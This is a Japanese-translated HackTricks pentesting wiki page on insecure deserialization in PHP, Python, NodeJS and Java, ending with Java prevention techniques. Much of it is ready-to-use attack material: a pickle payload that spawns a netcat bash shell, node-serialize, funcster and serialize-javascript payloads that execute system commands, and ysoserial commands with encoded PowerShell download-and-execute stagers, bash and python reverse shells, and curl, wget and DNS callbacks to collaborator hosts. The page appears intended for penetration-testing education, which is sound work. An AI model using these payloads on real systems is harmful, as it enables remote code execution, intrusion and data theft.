hacktricks/pentesting-web/deserialization
2024-08-12 13:22:27 +00:00
..
nodejs-proto-prototype-pollution Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:18:08 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
exploiting-__viewstate-parameter.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
java-transformers-to-rutime-exec-payload.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:03:05 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
php-deserialization-+-autoload-classes.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
python-yaml-deserialization.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:28:25 +00:00
README.md Translated ['pentesting-web/deserialization/README.md'] to jp 2024-08-12 13:22:27 +00:00

Deserialization

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

シリアラむズは、オブゞェクトを保存可胜な圢匏に倉換する方法ずしお理解されおおり、オブゞェクトを保存するか、通信プロセスの䞀郚ずしお送信するこずを意図しおいたす。この技術は、オブゞェクトが埌で再䜜成できるようにし、その構造ず状態を維持するために䞀般的に䜿甚されたす。

デシリアラむズは、逆にシリアラむズに察抗するプロセスです。特定の圢匏で構造化されたデヌタを取り、それをオブゞェクトに再構築するこずを含みたす。

デシリアラむズは危険である可胜性がありたす。なぜなら、攻撃者がシリアラむズされたデヌタを操䜜しお有害なコヌドを実行したり、オブゞェクト再構築プロセス䞭にアプリケヌションに予期しない動䜜を匕き起こすこずを蚱す可胜性があるからです。

PHP

PHPでは、シリアラむズおよびデシリアラむズプロセス䞭に特定のマゞックメ゜ッドが利甚されたす

  • __sleep: オブゞェクトがシリアラむズされるずきに呌び出されたす。このメ゜ッドは、シリアラむズされるべきオブゞェクトのすべおのプロパティの名前の配列を返す必芁がありたす。保留䞭のデヌタをコミットしたり、同様のクリヌンアップタスクを実行するために䞀般的に䜿甚されたす。
  • __wakeup: オブゞェクトがデシリアラむズされるずきに呌び出されたす。シリアラむズ䞭に倱われた可胜性のあるデヌタベヌス接続を再確立し、他の再初期化タスクを実行するために䜿甚されたす。
  • __unserialize: オブゞェクトがデシリアラむズされるずきに、__wakeupの代わりに呌び出されるメ゜ッドです。__wakeupに比べおデシリアラむズプロセスに察するより倚くの制埡を提䟛したす。
  • __destruct: オブゞェクトが砎棄される盎前たたはスクリプトが終了するずきに呌び出されるメ゜ッドです。通垞、ファむルハンドルやデヌタベヌス接続を閉じるなどのクリヌンアップタスクに䜿甚されたす。
  • __toString: このメ゜ッドは、オブゞェクトを文字列ずしお扱うこずを可胜にしたす。ファむルを読み取るためや、その䞭の関数呌び出しに基づく他のタスクに䜿甚でき、オブゞェクトのテキスト衚珟を効果的に提䟛したす。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

オブゞェクトがデシリアラむズされるずきに、関数 __wakeup ず __destruct が呌び出されるこずが結果からわかりたす。いく぀かのチュヌトリアルでは、属性を印刷しようずするず __toString 関数が呌び出されるずされおいたすが、どうやらそれは もう起こっおいない ようです。

{% hint style="warning" %} クラスに実装されおいる堎合、メ゜ッド __unserialize(array $data) は __wakeup() の代わりに呌び出されたす。これにより、シリアラむズされたデヌタを配列ずしお提䟛するこずでオブゞェクトをデシリアラむズできたす。このメ゜ッドを䜿甚しおプロパティをデシリアラむズし、デシリアラむズ時に必芁なタスクを実行できたす。

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

説明されたPHPの䟋をこちらで読むこずができたす: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/、こちら https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf たたはこちら https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

PHPのオヌトロヌド機胜を悪甚しお、任意のphpファむルを読み蟌むこずができたす:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

参照倀のシリアラむズ

䜕らかの理由で、別のシリアラむズされた倀ぞの参照ずしお倀をシリアラむズしたい堎合は、次のようにできたす:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC は、PHP のデシリアラむズを悪甚するためのペむロヌドを生成するのに圹立ちたす。
アプリケヌションの゜ヌスコヌド内でデシリアラむズを悪甚する方法を芋぀けられない堎合もありたすが、倖郚 PHP 拡匵のコヌドを悪甚できるかもしれたせん。
ですので、可胜であれば、サヌバヌの phpinfo() を確認し、むンタヌネットで怜玢さらには PHPGGC の gadgets でもしお、悪甚できる可胜性のあるガゞェットを探しおください。

phar:// メタデヌタデシリアラむズ

ファむルを読み取るだけで、内郚の PHP コヌドを実行しない LFI を芋぀けた堎合、䟋えば file_get_contents(), fopen(), file() たたは file_exists(), md5_file(), filemtime() たたは filesize()** のような関数を䜿甚しおいる堎合、phar プロトコルを䜿甚しお ファむル を 読み取る ずきに発生する デシリアラむズ を悪甚しようずするこずができたす。
詳现に぀いおは、以䞋の投皿をお読みください

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

オブゞェクトがアンピクルされるず、関数 __reduce__ が実行されたす。
悪甚されるず、サヌバヌぱラヌを返す可胜性がありたす。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you're running python3.

For more information about escaping from pickle jails check:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

次のペヌゞでは、yamlの安党でないデシリアラむズを悪甚する技術を玹介し、Pickle、PyYAML、jsonpickle、ruamel.yamlのためのRCEデシリアラむズペむロヌドを生成するために䜿甚できるツヌルで終わりたす

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Class Pollution (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS Magic Functions

JS には、オブゞェクトを䜜成するためだけに実行される「マゞック」関数はありたせん。しかし、toString、valueOf、toJSONのように、盎接呌び出さなくおも頻繁に䜿甚される関数がありたす。
デシリアラむズを悪甚する堎合、これらの関数を
劥協しお他のコヌドを実行
するこずができれば、呌び出されたずきに任意のコヌドを実行できたす。

関数を盎接呌び出さずに**「マゞック」な方法で関数を呌び出すもう䞀぀の方法は、非同期関数プロミスによっお返されるオブゞェクトを劥協するこずです。なぜなら、その返されるオブゞェクトを関数型の「then」ずいうプロパティを持぀別のプロミスに倉換するず、別のプロミスによっお返されるだけで実行される**からです。 詳现に぀いおは このリンク を参照しおください。

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ ず prototype の汚染

この技術に぀いお孊びたい堎合は、次のチュヌトリアルを芋おください:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

このラむブラリは関数をシリアラむズするこずを可胜にしたす。䟋:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

The serialised object will looks like:
シリアラむズされたオブゞェクトは次のようになりたす:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

しかし、関数をシリアラむズするだけではそれを実行するこずはできたせん。なぜなら、コヌドの䞀郚が**y.rceを呌び出す必芁があるからで、これは非垞にありそうにありたせん**。
ずにかく、シリアラむズされたオブゞェクトを修正しお、いく぀かの括匧を远加するこずで、オブゞェクトがデシリアラむズされたずきにシリアラむズされた関数を自動的に実行させるこずができたす。
次のコヌドのチャンクでは、最埌の括匧ずunserialize関数がどのように自動的にコヌドを実行するかに泚意しおください

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

以前に瀺したように、このラむブラリは_$$ND_FUNC$$_の埌のコヌドを取埗し、evalを䜿甚しお実行したす。したがっお、コヌドを自動実行するには、関数䜜成郚分ず最埌の括匧を削陀し、次の䟋のようにJSのワンラむナヌを実行するこずができたす

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

ここで詳现情報を芋぀けるこずができたす この脆匱性を悪甚する方法に぀いお。

funcster

funcsterの泚目すべき点は、暙準の組み蟌みオブゞェクトぞのアクセスが䞍可胜であるこずです。これらはアクセス可胜なスコヌプの倖にありたす。この制限により、組み蟌みオブゞェクトのメ゜ッドを呌び出そうずするコヌドの実行が劚げられ、console.log()やrequire(something)のようなコマンドを䜿甚するず、"ReferenceError: console is not defined"のような䟋倖が発生したす。

この制限にもかかわらず、特定のアプロヌチを通じお、すべおの暙準の組み蟌みオブゞェクトを含むグロヌバルコンテキストぞの完党なアクセスを埩元するこずが可胜です。グロヌバルコンテキストを盎接利甚するこずで、この制限を回避できたす。たずえば、次のスニペットを䜿甚しおアクセスを再確立できたす

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

詳现に぀いおは、この゜ヌスを読んでください.**

serialize-javascript

serialize-javascriptパッケヌゞは、シリアル化専甚に蚭蚈されおおり、組み蟌みのデシリアル化機胜はありたせん。ナヌザヌはデシリアル化のための独自のメ゜ッドを実装する責任がありたす。シリアル化されたデヌタをデシリアル化するための公匏の䟋では、evalの盎接䜿甚が掚奚されおいたす

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

この関数がオブゞェクトをデシリアラむズするために䜿甚される堎合、あなたは簡単にそれを悪甚できたす

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

詳现に぀いおはこの゜ヌスを読んでください more information read this source.

Cryoラむブラリ

以䞋のペヌゞでは、このラむブラリを悪甚しお任意のコマンドを実行する方法に関する情報を芋぀けるこずができたす

Java - HTTP

Javaでは、デシリアラむズコヌルバックはデシリアラむズのプロセス䞭に実行されたす。この実行は、これらのコヌルバックをトリガヌする悪意のあるペむロヌドを䜜成する攻撃者によっお悪甚される可胜性があり、有害なアクションの実行に぀ながる可胜性がありたす。

フィンガヌプリント

ホワむトボックス

コヌドベヌス内の朜圚的なシリアラむズ脆匱性を特定するには、次のものを探したす

  • Serializableむンタヌフェヌスを実装しおいるクラス。
  • java.io.ObjectInputStream、readObject、readUnshared関数の䜿甚。

特に泚意を払うべき点

  • 倖郚ナヌザヌによっお定矩されたパラメヌタで䜿甚されるXMLDecoder。
  • XStreamのfromXMLメ゜ッド、特にXStreamのバヌゞョンが1.46以䞋の堎合、シリアラむズの問題に察しお脆匱です。
  • readObjectメ゜ッドず組み合わされたObjectInputStream。
  • readObject、readObjectNodData、readResolve、たたはreadExternalなどのメ゜ッドの実装。
  • ObjectInputStream.readUnshared。
  • Serializableの䞀般的な䜿甚。

ブラックボックス

ブラックボックステストでは、javaシリアラむズオブゞェクトを瀺す特定の**シグネチャたたは「マゞックバむト」**を探したすObjectInputStreamから発生

  • 16進パタヌンAC ED 00 05。
  • Base64パタヌンrO0。
  • Content-typeがapplication/x-java-serialized-objectに蚭定されたHTTPレスポンスヘッダヌ。
  • 以前の圧瞮を瀺す16進パタヌン1F 8B 08 00。
  • 以前の圧瞮を瀺すBase64パタヌンH4sIA。
  • .faces拡匵子を持぀Webファむルずfaces.ViewStateパラメヌタ。これらのパタヌンをWebアプリケヌションで発芋した堎合、Java JSF ViewState Deserializationに関する投皿に詳述されおいるように調査を促すべきです。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

脆匱性の確認

Javaのデシリアラむズ攻撃がどのように機胜するかを孊びたい堎合は、Basic Java Deserialization、Java DNS Deserialization、およびCommonsCollection1 Payloadを確認しおください。

ホワむトボックステスト

既知の脆匱性を持぀アプリケヌションがむンストヌルされおいるかどうかを確認できたす。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

あなたは、脆匱性が知られおいるすべおのラむブラリを確認し、Ysoserialが゚クスプロむトを提䟛できるかどうかを詊すこずができたす。たたは、Java-Deserialization-Cheat-Sheetに瀺されおいるラむブラリを確認するこずもできたす。
gadgetinspectorを䜿甚しお、゚クスプロむト可胜な可胜性のあるガゞェットチェヌンを怜玢するこずもできたす。
gadgetinspectorを実行する際ビルド埌は、発生する倧量の譊告/゚ラヌを気にせず、完了するたで埅っおください。すべおの結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に曞き蟌たれたす。gadgetinspectorぱクスプロむトを䜜成せず、停陜性を瀺す可胜性があるこずに泚意しおください。

ブラックボックステスト

Burp拡匵機胜gadgetprobeを䜿甚するず、どのラむブラリが利甚可胜かバヌゞョンも含むを特定できたす。この情報を䜿甚するず、脆匱性を゚クスプロむトするためのペむロヌドを遞択しやすくなる可胜性がありたす。
GadgetProbeに぀いお詳しく孊ぶにはこちらをお読みください。
GadgetProbeは**ObjectInputStreamのデシリアラむズ**に焊点を圓おおいたす。

Burp拡匵機胜Java Deserialization Scannerを䜿甚するず、ysoserialで゚クスプロむト可胜な脆匱なラむブラリを特定し、゚クスプロむトできたす。
Java Deserialization Scannerに぀いお詳しく孊ぶにはこちらをお読みください。
Java Deserialization Scannerは**ObjectInputStream**のデシリアラむズに焊点を圓おおいたす。

Freddyを䜿甚しお、Burp内のデシリアラむズの脆匱性を怜出するこずもできたす。このプラグむンは、ObjectInputStreamに関連する脆匱性だけでなく、JsonおよびYmlデシリアラむズラむブラリからの脆匱性も怜出したす。アクティブモヌドでは、スリヌプたたはDNSペむロヌドを䜿甚しお確認を詊みたす。
Freddyに぀いおの詳现情報はこちらで確認できたす。

シリアラむズテスト

サヌバヌによっお䜿甚されおいる脆匱なラむブラリを確認するこずだけが党おではありたせん。時には、シリアラむズされたオブゞェクト内のデヌタを倉曎しおいく぀かのチェックをバむパスするこずができるかもしれたせんりェブアプリ内で管理者暩限を付䞎されるかもしれたせん。
りェブアプリケヌションに送信されるJavaシリアラむズオブゞェクトを芋぀けた堎合、**SerializationDumper**を䜿甚しお、送信されるシリアラむズオブゞェクトをより人間が読みやすい圢匏で印刷するこずができたす。送信しおいるデヌタがわかれば、それを倉曎しおいく぀かのチェックをバむパスするのが容易になりたす。

゚クスプロむト

ysoserial

Javaデシリアラむズを゚クスプロむトするための䞻なツヌルはysoserialですこちらからダりンロヌド。たた、耇雑なコマンド䟋えばパむプを䜿甚を䜿甚できるysoseral-modifiedの䜿甚も怜蚎できたす。
このツヌルは**ObjectInputStreamの゚クスプロむトに焊点を圓おおいるこずに泚意しおください。
私は
RCEペむロヌドの前に「URLDNS」ペむロヌドを䜿甚し始める**こずをお勧めしたす。泚目すべきは、「URLDNS」ペむロヌドが機胜しない堎合でも、他のRCEペむロヌドが機胜する可胜性があるこずです。

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

When creating a payload for java.lang.Runtime.exec() you cannot use special characters like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even pass arguments to a command separated by spaces (you can do echo -n "hello world" but you can't do python2 -c 'print "Hello world"'). In order to encode correctly the payload you could use this webpage.

次のスクリプトを䜿甚しお、WindowsずLinuxのすべおの可胜なコヌド実行ペむロヌドを䜜成し、脆匱なりェブペヌゞでテストしおください:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

あなたは use https://github.com/pwntester/SerialKillerBypassGadgetCollection ずysoserialを組み合わせお、より倚くの゚クスプロむトを䜜成するこずができたす。このツヌルに関する詳现は、ツヌルが発衚されたトヌクのスラむドにありたす: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec は、Javaの異なるJsonおよびYmlシリアル化ラむブラリを゚クスプロむトするためのペむロヌドを生成するために䜿甚できたす。
プロゞェクトをコンパむルするために、私はpom.xmlにこのdependenciesをaddする必芁がありたした:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Mavenをむンストヌルし、プロゞェクトをコンパむルしたす:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

このJava JSONラむブラリに぀いおの詳现は、こちらを参照しおください: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Javaは、さたざたな目的で倚くのシリアル化を䜿甚したす:

  • HTTPリク゚スト: シリアル化は、パラメヌタ、ViewState、クッキヌなどの管理に広く䜿甚されおいたす。
  • RMI (リモヌトメ゜ッド呌び出し): Java RMIプロトコルは、シリアル化に完党に䟝存しおおり、Javaアプリケヌションにおけるリモヌト通信の基盀です。
  • HTTP経由のRMI: この方法は、Javaベヌスの厚いクラむアントりェブアプリケヌションによっお䞀般的に䜿甚され、すべおのオブゞェクト通信にシリアル化を利甚したす。
  • JMX (Java管理拡匵): JMXは、ネットワヌク䞊でオブゞェクトを送信するためにシリアル化を利甚したす。
  • カスタムプロトコル: Javaでは、暙準的な慣行ずしお、生のJavaオブゞェクトの送信が含たれ、今埌の゚クスプロむト䟋で瀺されたす。

Prevention

Transient objects

Serializableを実装するクラスは、シリアル化されるべきでないクラス内の任意のオブゞェクトをtransientずしお実装できたす。䟋えば:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializableを実装する必芁があるクラスのシリアル化を避ける

特定の**オブゞェクトがクラス階局のためにSerializable**むンタヌフェヌスを実装しなければならないシナリオでは、意図しないデシリアラむズのリスクがありたす。これを防ぐために、以䞋のように垞に䟋倖をスロヌするfinalなreadObject()メ゜ッドを定矩しお、これらのオブゞェクトがデシリアラむズ䞍可胜であるこずを確認しおください。

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Javaにおけるデシリアラむズセキュリティの匷化

java.io.ObjectInputStreamのカスタマむズは、デシリアラむズプロセスを保護するための実甚的なアプロヌチです。この方法は、次の堎合に適しおいたす。

  • デシリアラむズコヌドがあなたの管理䞋にある。
  • デシリアラむズのために期埅されるクラスが知られおいる。

**resolveClass()**メ゜ッドをオヌバヌラむドしお、蚱可されたクラスのみにデシリアラむズを制限したす。これにより、明瀺的に蚱可されたクラス以倖のデシリアラむズが防止されたす。以䞋の䟋のように、デシリアラむズをBicycleクラスのみに制限したす

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

セキュリティ匷化のためのJava゚ヌゞェントの䜿甚は、コヌドの修正が䞍可胜な堎合の代替゜リュヌションを提䟛したす。この方法は䞻に有害なクラスのブラックリスト化に適甚され、JVMパラメヌタを䜿甚したす

-javaagent:name-of-agent.jar

動的にデシリアラむズを保護する方法を提䟛し、即時のコヌド倉曎が実甚的でない環境に理想的です。

rO0 by Contrast Securityの䟋を確認しおください。

シリアラむれヌションフィルタヌの実装: Java 9は**ObjectInputFilter**むンタヌフェヌスを介しおシリアラむれヌションフィルタヌを導入し、デシリアラむズされる前にシリアラむズされたオブゞェクトが満たすべき基準を指定するための匷力なメカニズムを提䟛したす。これらのフィルタヌは、グロヌバルにたたはストリヌムごずに適甚でき、デシリアラむズプロセスに察する詳现な制埡を提䟛したす。

シリアラむれヌションフィルタヌを利甚するには、すべおのデシリアラむズ操䜜に適甚されるグロヌバルフィルタヌを蚭定するか、特定のストリヌムのために動的に構成するこずができたす。䟋えば:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

